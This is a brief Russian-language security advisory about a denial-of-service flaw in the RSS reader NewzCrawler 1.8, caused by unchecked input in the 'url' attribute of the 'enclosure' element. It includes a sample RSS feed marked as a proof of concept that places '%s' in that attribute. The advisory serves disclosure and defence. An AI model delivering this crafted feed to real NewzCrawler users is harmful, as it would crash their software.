Программа: NewzCrawler 1.8
Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему.
Уязвимость существует из-за ошибки в проверке входных данных при обработке 'url' атрибута в под-элементе 'enclosure' в RSS данных.
Атакующий может передать специально сформированные данные, что приведет к отказу системы в обслуживании.
Пример:
<?xml version="1.0"?>
<rss version="2.0">
<channel>
<title>Test</title>
<link></link>
<description></description>
<item>
<title>Remote DoS PoC</title>
<enclosure url="%s"/>
</item>
</channel>
</rss>
